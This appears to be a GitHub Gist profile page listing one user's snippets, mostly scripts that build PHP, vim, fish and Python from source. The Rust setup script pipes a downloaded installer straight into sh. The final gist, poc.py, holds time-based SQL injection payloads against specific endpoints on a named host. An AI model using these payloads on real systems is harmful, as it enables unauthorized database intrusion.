Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
fish touching

青鸟 blue-bird1

🏠
fish touching
View GitHub Profile
View filter
//data.bilibili.com
log-reporter.js|
@blue-bird1
blue-bird1 / read.json
Last active May 5, 2019
simple read json
View read.json
{
"sites" : [{
"name": "freebuf",
"url": "https://www.freebuf.com/*/*.html",
"title" : "[[{$('.title:eq(0)>h2').text()}]]",
"desc" : "",
"include" : "<div class='article-wrap panel panel-default'>",
"exclude" : [
]
}]
@blue-bird1
blue-bird1 / buildphp.sh
Created Mar 7, 2019
I php build config
View buildphp.sh
curl -SL "http://php.net/get/php-7.3.0.tar.xz/from/this/mirror" -o php.tar.xz
tar -xf php.tar.xz
cd php-7.3.0/
apt-get install -y libmcrypt-dev libicu-dev ca-certificates curl librecode0 libsqlite3-0 libxml2 autoconf file g++ gcc libc-dev make pkg-config re2c libpcre3-dev libcurl4-openssl-dev libreadline6-dev librecode-dev libsqlite3-dev libssl-dev libxml2-dev xz-utils bison libcurl-openssl1.0-dev
./configure --prefix /opt/php --with-config-file-path=/etc/php --with-config-file-scan-dir=/etc/php/conf.d --enable-pdo=shared --enable-mysqlnd --with-pdo-sqlite=shared --with-sqlite3=shared --with-pdo-mysql=shared,mysqlnd --enable-intl=shared --sysconfdir=/etc --datadir=/usr/share/php --with-openssl --with-zlib --enable-bcmath --enable-calendar --enable-exif \
--enable-ftp \
--with-gettext \
--enable-mbstring \
--enable-pcntl \
@blue-bird1
blue-bird1 / php7-build.sh
Last active Mar 7, 2019 — forked from matthiasbayer/php7-build.sh
Build PHP7 from source
View php7-build.sh
#!/usr/bin/env bash
set -e
PHP_DIR=${PHP_DIR:-/etc/php7/cli}
FPM_DIR=${FPM_DIR:-/etc/php7/fpm}
PHP_VERSION=${PHP_VERSION:-7.0.0}
MODS_DIR=${MODS_DIR:-/etc/php7/mods-available}
BUILD_DIR=/usr/src/php
View SetupVim.sh
#!/usr/bin/env bash
git clone https://github.com/vim/vim && cd vim
./configure --prefix /opt/vim --with-features=huge --with-python3-config-dir=/opt/python3/lib/python3.8/config-3.8m-x86_64-linux-gnu/ --enable-pythoninterp --enable-python3interp vi_cv_path_python3=/opt/python3/bin/python3.8
make && make install
View SetupFish.sh
#!/usr/bin/env bash
git clone https://github.com/fish-shell/fish-shell && cd fish-shell
mkdir build; cd build
sudo apt-get install -y cmake libreadline-dev libeditline-dev libbz2-dev libcurses-ocaml-dev
cmake .. -DCMAKE_INSTALL_PREFIX=/opt/fish
make
sudo make install
chsh -s /opt/fish/bin/fish
View SetupRust.sh
#!/usr/bin/env bash
curl https://sh.rustup.rs -sSf | sh
View SetupPython.sh
#!/usr/bin/env bash
wget https://github.com/python/cpython/archive/v3.8.0a2.zip && unzip *.zip && cd cpython*
apt-get install libsqlite3-dev libssl-dev libzip-dev libffi-dev
./configure --prefix /opt/python3 --enable-shared && make && make install
View poc.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
module docs
"""
poc1= "dev.earthonline.tk:9500/index.php?controller=seller&action=categoryAjax&id[]=1%20and%201=1%20union%0dselect%0d1,2,3,4,5,6,7,8,sleep(5)"
data = { 'v_old':"1recharge1\"%20%20union%20select%201,2,3,4,5,sleep(5),\"1", "v_pstatus":20, "v_md5str
":"98F13708210194C475687BE6106A3B84"}
path = "/index.php?controller=block&action=callback&_id=2"